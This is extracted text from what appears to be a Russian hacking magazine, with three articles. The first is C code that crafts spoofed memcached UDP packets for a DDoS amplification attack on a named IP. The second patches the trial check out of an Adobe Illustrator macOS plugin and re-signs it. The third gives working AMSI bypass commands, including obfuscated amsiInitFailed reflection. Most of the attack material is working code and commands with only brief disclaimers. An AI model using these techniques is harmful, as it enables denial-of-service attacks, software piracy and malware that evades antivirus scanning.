pcap_sendpacket(t, FinalPacket, UserDataLen + 42); pcap_close(t); } void CreatePacket (unsigned char* SourceMAC, unsigned char* DestinationMAC, unsigned int SourceIP, unsigned int DestIP, unsigned short SourcePort, unsigned short DestinationPort, unsigned char* UserData, unsigned int UserDataLen) { UserDataLen = UserDataLen; FinalPacket = new unsigned char[UserDataLen + 42]; // Reserve enough memory for the length of the data plus 42 bytes of headers USHORT TotalLen = UserDataLen + 20 + 8; // IP Header uses length of data plus length of ip header (usually 20 bytes) plus lenght of udp header (usually 8) //Beginning of Ethernet II Header memcpy((void*)FinalPacket, (void*)DestinationMAC, 6); memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6); USHORT TmpType = 8; memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2); //The type of protocol used. (USHORT) Type 0x08 is UDP. You can change this for other protocols (e.g. TCP) // Beginning of IP Header memcpy((void*)(FinalPacket + 14), (void*)\"\\x45\", 1); //The Version (4) in the first 3 bits and the header length on the last 5. (Im not sure, if someone could correct me plz do) //If you wanna do any IPv6 stuff, you will need to change this. but i still don't know how to do ipv6 myself =s memcpy((void*)(FinalPacket + 15), (void*)\"\\x00\", 1); // Differntiated services field. Usually 0 TmpType = htons(TotalLen); memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2); TmpType = htons(0x1337); memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2);// Identification. Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is 0x1337 memcpy((void*)(FinalPacket + 20), (void*)\"\\x00\", 1); // Flags. These are not usually used in UDP either, more used in TCP for fragmentation and syn acks i think memcpy((void*)(FinalPacket + 21), (void*)\"\\x00\", 1); // Offset memcpy((void*)(FinalPacket + 22), (void*)\"\\x80\", 1); // Time to live. Determines the amount of time the packet can spend trying to get to the other computer. (I see 128 used often for this) memcpy((void*)(FinalPacket + 23), (void*)\"\\x11\", 1);// Protocol. UDP is 0x11 (17) TCP is 6 ICMP is 1 etc memcpy((void*)(FinalPacket + 24), (void*)\"\\x00\\x00\", 2); // checksum memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); // inet_addr does htonl() for us memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4); //Beginning of UDP Header TmpType = htons(SourcePort); memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2); TmpType = htons(DestinationPort); memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2); USHORT UDPTotalLen = htons(UserDataLen + 8); // UDP Length does not include length of IP header memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2); memcpy((void*)(FinalPacket+40),(void*)&TmpType,2); //checksum memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen); unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDataLen, SourceIP, DestIP, htons(SourcePort), htons( DestinationPort), 0x11); memcpy((void*)(FinalPacket + 40), (void*)&UDPChecksum, 2); unsigned short IPChecksum = htons(CalculateIPChecksum(TotalLen, 0x1337, SourceIP, DestIP)); memcpy((void*)(FinalPacket + 24), (void*)&IPChecksum, 2); return; } Форм­ ирован­ ие пакета pcap_if_t* ChosenDevice; char SourceIP[16] = \"111.221.111.111\"; for (int i = 0; i < 16; i++) { SourceIP[i] = target_ip[i]; } char SourcePort[6] = \"11211\"; char SourceMAC[19] = \"00:26:57:00:1f:02\"; char DestinationIP[16] = \"192.168.0.105\"; for (int i = 0; i < 16; i++) { DestinationIP[i] = bot_ip[i]; } char DestinationPort[6] = \"11211\"; char DataString[2048] = \"stats\"; int chosen = chosen_device; DeviceInfo di; di = tool1.GetAdapterInfo(ChosenDevice); RawPacket RP; RP.CreatePacket(tool1.MACStringToBytes(SourceMAC), di. GatewayPhysicalAddress, inet_addr(SourceIP), inet_addr(DestinationIP), atoi(SourcePort), atoi(DestinationPort), (UCHAR*)DataString, strlen(DataString)); От­прав­ка пакета void SendPacket(pcap_if_t* Device) { char Error[256]; pcap_t* t; t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send pcap_sendpacket(t, FinalPacket, UserDataLen + 42); pcap_close(t); } RP.SendPacket(ChosenDevice); Пос­ледние неск­ оль­ко строк можн­ о помест­ ить в  цикл и  начать DDoS-атак­ у. Тес­товой целью будет серв­ ер с  адрес­ ом 18.181.248.145. В  Wireshark это все будет выг­лядеть при­мерн­ о так. Па­кеты отправ­ляют­ся на  уяз­вимые серв­ еры, которые видят нашу цель в качест­ ве отпра­вител­ я. ЗАКЛЮЧЕНИЕ Код, опи­сан­ный выше, самодост­ аточен. Если тебе прид­ етс­ я писать экс­пло­ит для подобн­ ой уязв­ имост­ и, то, скор­ ее все­го, прид­ ет­ся манипул­ иро­вать тольк­ о полями DataString (пейл­ оад), Dest / Source Port, Dest / Source IP. Да, было бы горазд­ о прощ­ е сде­лать все это на Linux, и больш­ инс­тво таких прогр­ амм написа­ны как раз таки для него. Но это не знач­ ит, что мы не можем экспер­ имен­тировать и углублять зна­ния!

ВЗЛОМ ЛИПОСАКЦИЯ ДЛЯ FAT BINARY ЛОМАЕМ MACH-O UNIVERSAL BINARY ДЛЯ APPLE ПОД НЕСКОЛЬКО АРХИТЕКТУР МВК Мы мног­ о раз писали о  взло­ме прогр­ амм для  Windows. Для  нее созд­ ано множ­ ес­тво отладчик­ ов, дизас­семб­ ле­ров и  друг­ их полезн­ ых инс­тру­мент­ ов. Сегод­ня же мы обрат­ им взор на  мульт­ ипр­ оцесс­ орную прогр­ амму для  macOS, вер‐­ нее, на  пла­гин для  маковс­ ког­ о Adobe Illustrator CC 2021, который (в целях обуч­ ения!) будет прев­ращен из  проб­ной верс­ ии в  пол­ноценн­ ую. Прич­ ем понадо­бятс­ я нам исклю‐­ читель­но инс­тру­мент­ ы для Windows: IDA вер­сии 7.2 и Hiew. WARNING Вся информа­ция пре­дос­тавлен­ а исключ­ итель­но в озна­комит­ ель­ных и обу­чающих целях. Ни автор, ни  редак­ция не  несут ответс­твенн­ ости за  любой возм­ ожный вред, прич­ инен­ный материа­ ла­ми дан‐­ ной статьи. Нарушен­ ие лиценз­ ии при  исполь‐­ зовании ПО может пресл­ едовать­ся по закону. НЕМНОГО ТЕОРИИ Для начала коротк­ о попыта­емся получить предс­ тав­ление, что именн­ о нам пред­сто­ит ломать. Мы уже прив­ ыкл­ и, что все исполняе­ мые файл­ ы и  биб‐­ лиоте­ки под  актуа­ ль­ные верс­ ии Windows име­нуютс­ я EXE/DLL и  имею­ т струк‐­ туру MZ-PE. Под macOS использ­ уетс­ я фор­мат Mach-O (сок­ращение от Mach object), являю­ щийс­ я потомк­ ом форм­ ата a.out, который макось унас­ледова­ла от Unix. Как извест­ но, Apple любит пери­одич­ еск­ и переход­ ить с одног­ о семейс­ тва про­цесс­ оров на  дру­гое, из‑за чего меня­ется и  архит­ ект­ ура прил­ ожен­ ий. Начав с PowerPC, Apple в середи­не нулевых перемет­нулась в стан Intel, посл­ е чего в  недавн­ ем прош­лом корп­ орация решила перей­ти на  плат­форму ARM. Дабы поль­зовател­ и поменьш­ е страд­ али от  подоб­ных метаний, был взят на воору­жение мульт­ ипр­ оцес­сорный форм­ ат Fat binary («жирн­ ый бинарн­ ик»), который может содер­жать код одноврем­ ен­но под  неск­ оль­ко проц­ есс­ оров. Такой модуль может работать как под Intel, так и под ARM. Что же такое модуль Mach-O? Обычн­ о он сост­ оит из  трех областей. Заголо­вок содерж­ ит общую информац­ ию о дво­ичном файл­ е: порядок байт­ ов (магическ­ ое чис­ло), тип про­цес­сора, количест­ во команд загр­ узки и  т. д. Затем сле­дуют коман­ды заг­рузки  — это  свое­ го рода оглавлен­ ие, которое опи­сыва­ет положен­ ие сег­ментов, динамич­ ес­кую табл­ ицу сим­волов и про­чие полез­ные вещи. Каж­дая команд­ а загр­ узки содер­жит метаданн­ ые, такие как  тип команд­ ы, ее имя, позиция в  дво­ичном фай­ле. Наконец, третья область — это данн­ ые, обыч­но самая боль­шая часть объе­ ктно­го фай­ла. Она содерж­ ит код и раз­личную допол­нительн­ ую информа­цию. Муль­типр­ оцес­сорный «жир­ный» модуль может вклю­чать в себя неск­ ольк­ о обыч­ных модулей Mach-O, заточенн­ ых под  разн­ ые про­цесс­ оры (обыч­но это i386 и x86_64, ARM или ARM64). Струк­тура его пред­ ель­но прос­та — сраз­ у за Fat header, в котором опис­ ываю­ тся вход­ ящие в модуль блок­ и Mach-O, сле‐­ дует код этих блок­ ов, рас­положен­ный подр­ яд. Я не  буду под­робно остан­ ав‐­ ливать­ся на  опис­ ании всех секц­ ий и  полей дан­ного фор­мата, жела­ющие могут лег­ко нагугл­ ить спе­цифик­ ацию. Оста­новимс­ я лишь на  форм­ ате заголов­ков, пос­кольк­ у они понадо­бятс­ я нам в даль­нейших дей­стви­ях. Структ­ ура класс­ ическ­ ого заголовк­ а Mach-O выг­лядит так. struct mach_header { // Сигнатура, обычно CF FA ED FE или CE FA ED FE, но для варианта с обратным порядком байтов возможна и обратная сигнатура FE ED FA CF uint32_t magic; // Тип процессора, для intel это 7, для ARM — С cpu_type_t cputype; // Подтип процессора, 1 означает 64-разрядность, например 07000001h — x86_64 cpu_subtype_t cpusubtype; // Тип файла uint32_t filetype; // Количество команд, следующих за хидером uint32_t ncmds; // Размер команд, следующих за хидером uint32_t sizeofcmds; // Набор битовых флагов, которые указывают состояние некоторых дополнительных функций формата файла Mach-O uint32_t flags; }; «Жир­ный заголо­вок» предс­ тав­ляет собой типичн­ ый заголов­ ок Universal binary и выг­лядит вот так. struct fat_header { uint32_t magic; // 0BEBAFECAh // Количество последующих блоков fat_arch, соответствующих поддерживаемым процессорам uint32_t nfat_arch; }; struct fat_arch { cpu_type_t cputype; cpu_subtype_t cpusubtype; // Смещение до блока кода относительно начала файла uint32_t offset; // Длина соответствующего блока кода uint32_t size; // Выравнивание uint32_t align; }; struct fat_arch { ... } Структ­ ура заголовк­ а Mach-O Ну а теперь, когд­ а мы в дост­ аточн­ ой степ­ ени воору­жились теорией, расс­ мот‐­ рим прак­тичес­кий при­мер. У  нас есть некий инсталл­ ирован­ный иллюст­ ра‐­ торовс­ кий пла­гин, который тре­бует­ся отуч­ ить от суицид­ а по прош­ ес­твии три‐­ альн­ ого пери­ода. Пред­положим так­же, что дос­тупа к  маку, на  котором он уста­нов­лен, у  нас нет, как  и друг­ ого мака под  рукой  — тольк­ о воз­можность перепи­сывать фай­лы. Ищем в  папк­ е нужн­ ого плаг­ ина под­папку Contents\\ MacOS, а в ней — исполняе­ мый модуль плаг­ ина. В данн­ ом слу­чае это динами‐­ чес­кая библ­ иотек­ а Fat Mach-O file, о чем нам говорит сиг­натура CA FE BA BE. INTEL Загр­ ужае­ м наш файл в IDA Pro: нам будет предл­ ожено на выбор два (точ­нее три) спос­ оба загр­ узки данн­ ого фай­ла: Fat Mach-O file, 1.X86_64 и Fat Mach-O file, 2.ARM64. Трет­ ий вариа­ нт, бинар­ный файл, нам неин­тересен. Начн­ ем с  самого прос­того и  зна­комо­го всем польз­ овател­ ям Windows вариа­ нта: выбирае­ м Intel X86_64. Бегл­ о проб­ ежав­шись по  списк­ у назв­ аний фун­кций, обна­ружи­ваем имя checkPersonalize2_tryout. Так как  у нас триа­ л, данн­ ая функ­ ция вполн­ е может ока­зать­ся про­верк­ ой на  его валидн­ ость. Смотр­ им, откуд­ а она вызывае­ тся — ага, из фун­кции с еще более подозр­ ительн­ ым наз‐­ вание­ м _checkUser: __text:0000000000006A62 mov edi, esi ; SPPlugin * __text:0000000000006A64 mov rsi, rbx ; _UserData_NSD_ * __text:0000000000006A67 call __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:0000000000006A6C test eax, eax __text:0000000000006A6E jnz short loc_6A95 __text:0000000000006A70 cmp [rbp+var_21], 0 __text:0000000000006A74 jz short loc_6A95 __text:0000000000006A76 __text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6A5D↑j __text:0000000000006A76 mov rax, [r12] __text:0000000000006A7A mov qword ptr [rax], 0 __text:0000000000006A81 mov byte ptr [rax+63Dh], 1 __text:0000000000006A88 mov qword ptr [rax+648h], 0 __text:0000000000006A93 jmp short loc_6A99 __text:0000000000006A95 ; ---------------- __text:0000000000006A95 __text:0000000000006A95 loc_6A95: ; CODE XREF: _checkUser+198↑j __text:0000000000006A95 ; _checkUser+19E↑j ... __text:0000000000006A95 mov [rbp+var_21], 0 Пос­коль­ку загр­ узить прогр­ амму в  отладчик и  дой­ти до  это­го мест­ а мы не можем, про­буем догадать­ся, какой вариа­ нт воз­вращ­ аемог­ о знач­ ения eax нас устра­ивает боль­ше. Выраже­ния в  квад­ратных скоб­ках byte ptr [rax+63Dh] и qword ptr [rax+648h] похожи на  устан­ ов­ку полей некое­ й струк­туры или свой­ств объе­ кта. Поиск­ ав по коду чуть выше, мы увид­ им такую конс­трук­цию: __text:00000000000069E4 cmp byte ptr [rbx+63Dh], 0 __text:00000000000069EB jnz loc_6A99 __text:00000000000069F1 __text:00000000000069F1 loc_69F1: ; CODE XREF: _checkUser+124↑j __text:00000000000069F1 mov [rbp+var_21], 0 __text:00000000000069F5 cmp byte ptr [rbx+653h], 0 __text:00000000000069FC jz short loc_6A35 __text:00000000000069FE cmp byte ptr [rbx+650h], 0 __text:0000000000006A05 jz short loc_6A5D __text:0000000000006A07 mov edi, 8 ; unsigned __int64 __text:0000000000006A0C call __Znwm ; operator new(ulong) __text:0000000000006A11 mov r14, rax __text:0000000000006A14 mov ecx, 22h ; '\"' __text:0000000000006A19 mov rdi, rsp __text:0000000000006A1C mov rsi, rbx __text:0000000000006A1F rep movsq __text:0000000000006A22 mov rdi, rax ; this __text:0000000000006A25 call __ZN11AboutDialogC1E14_UserData_NSD_ ; AboutDialog::AboutDialog( _UserData_NSD_) __text:0000000000006A2A mov rax, [r14] __text:0000000000006A2D mov rdi, r14 __text:0000000000006A30 call qword ptr [rax+8] __text:0000000000006A33 jmp short loc_6A99 По поведе­нию прог­раммы мы помн­ им, что о прос­рочке триа­ ла сиг­нализи­рует диалог About, внез­ ап­но выск­ акиваю­ щий при заг­рузке прогр­ аммы, ненулев­ ое же зна­чение байт­ а по  адре­су [rbx+63Dh] ини­циирует обход данн­ ой ветк­ и. Выходит, что пра­вильн­ ой явля­ется ветк­ а, в которой этом­ у бай­ту прис­ваивает‐­ ся зна­чение 1 начиная со смещ­ ения __text:0000000000006A76 (изна­чальн­ о этот байт ини­циали­зируе­ тся в 0). Не мудрствуя лукаво, прос­то закорач­ ивае­ м весь кусок кода вызова проц­ едур­ ы checkPersonalize2_tryout, уста­новив перед ним безус­ловный переход на loc_6A76: __text:0000000000006A5D jmp loc_6A76 __text:0000000000006A62 ; ---------------- __text:0000000000006A62 mov edi, esi ; SPPlugin * __text:0000000000006A64 mov rsi, rbx ; _UserData_NSD_ * __text:0000000000006A67 call __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:0000000000006A6C test eax, eax __text:0000000000006A6E jnz short loc_6A95 __text:0000000000006A70 cmp [rbp+var_21], 0 __text:0000000000006A74 jz short loc_6A95 __text:0000000000006A76 __text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6A5D↑j __text:0000000000006A76 mov rax, [r12] ARM Итак, с частью кода, ответст­ венн­ ой за х86, мы вро­де разоб­рались, попр­ обу‐­ ем сдел­ ать то же самое с  армов­ской частью. Сно­ва загр­ ужа­ем этот модуль в IDA, на сей раз выб­рав при загр­ узке вари­ант Fat Mach-O file, 2.ARM64. Мы видим, что фун­кции _checkUser и checkPersonalize2_tryout прис­ утс­твую­ т и в этой час­ти кода, выше­опис­ анн­ ое мест­ о вызова в перевод­ е на армов­ский ассем­блер выгл­ ядит вот так: __text:000000000000716C MOV X2, SP __text:0000000000007170 MOV X0, X19 __text:0000000000007174 MOV X1, X20 __text:0000000000007178 BL __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:000000000000717C LDRB W8, [SP,#0x150+var_150] __text:0000000000007180 CMP W0, #0 __text:0000000000007184 CCMP W8, #0, #4, EQ __text:0000000000007188 B.NE loc_7194 __text:000000000000718C __text:000000000000718C loc_718C ; CODE XREF: _checkUser+1A0↑j __text:000000000000718C STRB WZR, [SP,#0x150+var_150] __text:0000000000007190 B loc_71A4 __text:0000000000007194 ; ---------------- __text:0000000000007194 __text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0↑j __text:0000000000007194 LDR X8, [X22] __text:0000000000007198 MOV W9, #1 __text:000000000000719C STRB W9, [X8,#0x3A0] __text:00000000000071A0 STR XZR, [X8,#0x3A8] __text:00000000000071A4 __text:00000000000071A4 loc_71A4 ; CODE XREF: _checkUser+118↑j __text:00000000000071A4 MOV W0, #0 Рас­смотр­ ев этот код повн­ иматель­нее, мы видим, что в армов­ском коде ана‐­ логом поля [rax+63Dh] служ­ ит байт по адрес­ у [X8,#0x3A0], ибо имен­но ему присв­ аиваетс­ я един­ ичк­ а при  удачн­ ом вызове checkPersonalize2_tryout. Поэто­му, дабы не  изоб­ретать велоси­пед, дей­ствуе­ м тем же спос­ обом, что и  ранее  — закорач­ ивае­ м кусок кода, встав­ляя перед  ним безус­ловный переход на loc_7194: __text:000000000000716C B loc_7194 __text:0000000000007170 MOV X0, X19 __text:0000000000007174 MOV X1, X20 __text:0000000000007178 BL __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:000000000000717C LDRB W8, [SP,#0x150+var_150] __text:0000000000007180 CMP W0, #0 __text:0000000000007184 CCMP W8, #0, #4, EQ __text:0000000000007188 B.NE loc_7194 __text:000000000000718C __text:000000000000718C loc_718C ; CODE XREF: _checkUser+1A0↑j __text:000000000000718C STRB WZR, [SP,#0x150+var_150] __text:0000000000007190 B loc_71A4 __text:0000000000007194 ; ---------------- __text:0000000000007194 __text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0↑j __text:0000000000007194 LDR X8, [X22] ПАТЧИМ ПЛАГИН Теп­ ерь, ког­да мы разобр­ ались, что и  где след­ ует менять, нужн­ о внест­ и эти самые изме­нения. Самое прост­ ое, что у  нас есть под  рукой  — маленьк­ ий DOS-овский шес­тнадц­ атеричн­ ый редакт­ ор Hiew, который, помимо прост­ ого байт­ ового редакт­ ирован­ ия, умее­ т дизасс­ емб­ ли­ровать и ассемб­ лир­ овать код для Intel и даже для ARM. К сожале­нию, про ARM64, который нам нужен, и Fat Mach-O он ничего не  зна­ет, поэтом­ у при­детс­ я немн­ ого порабо­тать руками, использ­ уя на прак­тике опи­сан­ную выше теорию. Отк­ рыв заголо­вок модуля, мы видим в нем две секц­ ии Mach-O с абсо­лют‐­ ными смещ­ ени­ями 8000h и 17С000h. Так и есть, по пер­вому сме­щению сидит сиг­натура сек­ции CF FA ED FE и код про­цесс­ ора 07 00 00 01 — это инте‐­ ловс­ кая часть. По  вто­рому сме­щению сигн­ атура та же, но  код про­цес­сора дру­гой 0C 00 00 01 — это ARM. За­голов­ ок модуля При­бав­ляем к  8000h сме­щение из  IDA  — 6A5Dh, и  получае­ м EA5Dh  — сме‐­ щение до  перв­ ого пат­ча в  инте­ловс­ кой час­ти. Перек­люча­емся через Ctrl- F1  в  64-бит­ный режим и  пра­вим иском­ ый jmp. Теперь внес­ ем измен­ ения в  армов­скую часть. Тут есть неболь­шая сложн­ ость. Смещ­ ение до  пат­ча 17С000h+716Ch=18316Ch мы наш­ли, одна­ко при перек­лючении в режим ARM дизас­семб­ лер­ а через Shift-F1 код сов­сем дру­гой, Hiew не понимае­ т акту­аль‐­ ный ARM64. Попр­ обуе­ м вычисл­ ить и  попр­ авить иском­ ый опкод руками. Открыв­ аем спе­цифи­кацию (если очень лениво искать, то можн­ о прос­то пос‐­ мотреть в  IDA по  сосед­ним коман­дам)  — опкод команд­ ы безусл­ овно­го переход­ а 14h (посл­ едний байт команд­ ы). Перв­ ыми байт­ ами идет сме­щение до  адрес­ а перехо­да в  32-бит­ных коман­дах. Счит­ аем: 7194h-716Ch=28h делим на  4  бай­та и  получа­ем 0Ah  — иско­мое смещ­ ение для  перехо­да. В результ­ ате код исправл­ енной команд­ ы выгл­ ядит так: __text:000000000000716C 0A 00 00 14 B loc_7194 Итак, мы проп­ атч­ или обе част­ и модуля, однак­ о радоватьс­ я рано. При перепи‐­ сыва­нии изме­ненн­ ого модуля на  мес­то стар­ ого прогр­ амма выда­ет ошиб­ку. Оно и  понятн­ о: macOS делали паранои­ ки, кажд­ ый модуль дол­жен быть под‐­ писан, а  при изме­нении любого байт­ а под­пись, разуме­ется, слет­ ает. По счастью, парано­ики остав­ или нам воз­можность заново подп­ исать модуль на  маке из  терм­ инала. Для  этог­ о посл­ е замены модуля нужн­ о зай­ти в  тер‐­ минал и наб­рать сле­дующую команд­ у: sudo codesign --force --deep -sign - <полный путь к пропатченному модулю> По идее, можн­ о вооб­ще убрать подп­ ись через stripcodesig или  даже до  копиров­ ания на  мак, но  это получа­ется не  всег­да. Напр­ имер, начиная с  macOS Catalina, может пот­ребовать­ся удал­ ить при­ложе­ние из  карант­ ина, для этог­ о в терм­ инале прид­ ет­ся набр­ ать след­ ующую команд­ у: sudo xattr -rd com.apple. quarantine <полный путь к пропатченному модулю> К сожален­ ию, сов­сем без  дост­ упа к  тел­ у маку не  обой­тись  — как  минимум при­детс­ я перепи­сывать и  подп­ исывать патч­ енные модули. Конеч­но, можн­ о было  бы перепа­ковать уста­новочн­ ый образ пла­гина или  попр­ обовать натянуть вир­туал­ку с  macOS под  Windows, но  эти спо­собы силь­но сложн­ ее. Мы же справ­ ились с  пос­тавленн­ ой задачей успешно, а  глав­ное  — с минимальн­ ыми усил­ иями.

ВЗЛОМ be_a_saint F#CK T.Hunter hacker's teamlead AMSI! [email protected] КАК ОБХОДЯТ ANTI-MALWARE SCAN INTERFACE ПРИ ЗАРАЖЕНИИ WINDOWS Ес­ли тебе знак­ ома фраз­ а «Этот сцен­ арий содер­жит вре‐­ доносн­ ое содер­жимое и  был забл­ окиро­ван антив­ ирус­ным прог­рамм­ ным обесп­ ечени­ем», то сегодн­ яшняя статья  — для  тебя. Такое сообщ­ ение генерир­ ует встро­енный в  Windows 10  механизм AMSI, блок­ иру­ющий выполн­ ение вред­ онос­ных сцен­ ари­ев и  скрипт­ ов. Мож­но ли его обойт­ и? Зап­росто, и сей­час я расс­ ка­жу, как это сдел­ ать. WARNING Статья име­ет озна­коми­тельн­ ый харак­тер и пред‐­ назнач­ ена для  спе­циалис­тов по  безопас­ности, про­водя­щих тес­тирова­ние в  рамк­ ах кон­трак­та. Автор и  редакц­ ия не  несут ответс­твенн­ ости за  любой вред, при­чиненн­ ый с  прим­ енен­ ием изло­жен­ной информац­ ии. Расп­ ростра­нение вре‐­ донос­ных прог­рамм, нарушен­ ие работы сис­тем и  наруше­ние тайн­ ы перепис­ки пресл­ едую­ тся по закону. Абб­ рев­ иату­ра AMSI рас­шифров­ ыва­ется как  Anti-Malware Scan Interface. Эту тех­нологию Microsoft разр­ аботал­ а в  качес­тве метода защиты поль­зовате­лей от  вред­ оносн­ ых прогр­ амм и  вперв­ ые внедр­ ила в  Windows 10. AMSI в  реаль‐­ ном вре­мени перехв­ атывае­ т скрип­ты и  команд­ ы PowerShell, JavaScript, VBScript, VBA или .NET и отсы­лает на пров­ ер­ку анти­вирусн­ ому прогр­ ам­мном­ у обес­печению (это необя­зательн­ о Defender, более десяти венд­ оров под‐­ держи­вают AMSI). Но в наших прим­ ерах мы расс­ мот­рим все же Defender. КАК ЭТО РАБОТАЕТ Когд­ а поль­зователь запус­кает скрипт или иниц­ иали­зируе­ т проц­ есс PowerShell (либо PowerShell_ISE), в  про­цесс автом­ ати­ческ­ и заг­ружае­ тся библ­ иоте­ка AMSI.DLL. Она‑то и  пред­ ост­ авляе­ т необх­ одимый API для  вза­имод­ ей­ствия с  антив­ ирусн­ ым ПО. Прежд­ е чем выполн­ ить­ся, скрипт или  команд­ а при  помощи удал­ ен­ного вызова проц­ едур (RPC) отправл­ яетс­ я Microsoft Defender, он, в свою очер­ едь, ана­лизи­рует получен­ную информа­цию и отсы‐­ лает ответ обратно AMSI.DLL. Если обна­руже­на извест­ ная сигн­ атура, выпол‐­ нение прер­ ыва­ется и появ­ляет­ся сообщ­ ение о том, что скрипт заб­локиро­ван антив­ ирус­ной прогр­ аммой. При­мер­но так работа­ет AMSI На прив­ еден­ной выше схе­ме обоз­начены две функ­ ции — AmsiScanString() и  AmsiScanBuffer(), они, по  сути, глав­ные в  цепочк­ е AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer и  AmsiCloseSession. Если гля­нуть Exports для amsi.dll, то мы уви­дим сле­дующее. Экс­ пор­ты библ­ иоте­ки amsi.dll Одн­ ако зна­читель­ная часть этог­ о списк­ а нам сегод­ня не приг­ одит­ся. Итак, мы запуст­ или PowerShell. До того как мы смо­жем вво­дить какие‑либо команд­ ы, будет заг­ружена AMSI.DLL и про­изойд­ ет вызов AmsiInitialize(). HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext ); Тут исполь­зуют­ся два аргум­ ент­ а: имя при­ложен­ ия и  ука­затель на  струк­туру CONTEXT. Параметр amsiContext будет использ­ овать­ся в  каж­дом пос­леду‐­ ющем вызове AMSI API. Посл­ е того как мы вве­ли команд­ у или попыта­лись выпол­нить скрипт, про‐­ исхо­дит вызов AmsiOpenSession(): HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); Тут тоже передаю­ тся два аргум­ ент­ а: amsiContext, полученн­ ый на  шаге AmsiInitialize(), и  ука­затель на  структ­ уру SESSION. Параметр amsiSession будет использ­ оватьс­ я в каж­дом пос­леду­ющем вызове AMSI API внутр­ и этой сес­сии. Дал­ ее в дело всту­пают те самые AmsiScanString() и AmsiScanBuffer(). По наз­ванию, в принц­ ипе, понятн­ о, какие парамет­ры они переда­ют для про‐­ вер­ки, да и синт­ аксис у них поч­ти один­ аков. HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); HRESULT AmsiScanString( HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); Defender про­веря­ет буфер или  стро­ку и  воз­вра­щает результ­ ат. Если ответ от  Defender  — 32768, то мал­варь обнар­ уже­на, еди­ничк­ а сигн­ ализи­рует, что все чис­то. Малв­ арь обна­руже­на Мал­варь не обна­ружен­ а Ну и посл­ е всех перечис­ленных выше про­верок текущая сес­сия закр­ ывае­ тся с исполь­зование­ м AmsiCloseSession. КАК ОБОЙТИ ПРОВЕРКУ Мех­ анизм AMSI исполь­зует сигн­ атурн­ ое (rule-based) детект­ ирова­ние угроз. Зная этот факт, мож­но прид­ умыв­ ать разн­ ые такт­ ики и  тех­ники. Некото­рые извест­ ные спос­ обы уже не  сраб­ отаю­ т, но, исполь­зуя модифик­ ацию кода, обфуска­цию и крип­тование, можн­ о добить­ся интер­ есн­ ых резуль­татов. INFO Для верифик­ ации детек­та я буду исполь­зовать стро­ки AmsiUtils либо Invoke-Mimikatz. Разуме‐­ ется, сами по  себе эти слов­ а безобидн­ ы, но  на них сра­батыв­ ает детект, так как они ловят­ся сиг‐­ натурам­ и. Если уж на  AmsiUtils нет детек­та, то мож­но сме­ло гру­зить, нап­ример, PowerView и исполь­зовать его воз­можност­ и по мак­симуму. Итак, поеха­ли. PowerShell downgrade Пер­вый спос­ об, который иногд­ а сраб­ аты­вает, три­виален. PowerShell 2.0 уста‐­ рел, но Microsoft не спеш­ ит уда­лять его из опер­ аци­онной сист­ емы. У ста­рой верс­ ии PowerShell нет таких защит­ных механиз­мов, как  AMSI, поэтом­ у для  обход­ а детект­ а иногд­ а дост­ аточн­ о использ­ овать команд­ у powershell - version 2. Ис­польз­ уем PowerShell 2.0 amsiInitFailed Вто­рой спос­ об пред­ отв­ рат­ ить ска­ниров­ ание  — это  попытатьс­ я выст­ авить флаг amsiInitFailed для  данн­ ого проц­ есс­ а. Делае­ тся это  след­ ующей команд­ ой: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Одн­ ако тут не  все так прост­ о: что­бы выпол­нить эту коман­ду, при­детс­ я пот‐­ рудить­ся, прид­ умы­вая спос­ обы обфуска­ции, так как на нее тоже сраб­ атыв­ ает детект. Увы, на нашу команд­ у сра­ботал детект Нап­ример, обфусци­ровать эту коман­ду мож­но так: $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic, Static') $field.SetValue($null,$true) Прим­ ер обфусцир­ ованн­ ой команд­ ы для amsiInitFailed Во вре­мя обфускац­ ии можн­ о про­явить фант­ азию. Нап­ример, так: [Ref].Assembly.GetType('System.Management.Automation.'+$([Text. Encoding]::Unicode.GetString([Convert]::FromBase64String( 'QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode. GetString([Convert]::FromBase64String( 'YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static'). SetValue($null,$true) Или даже так: 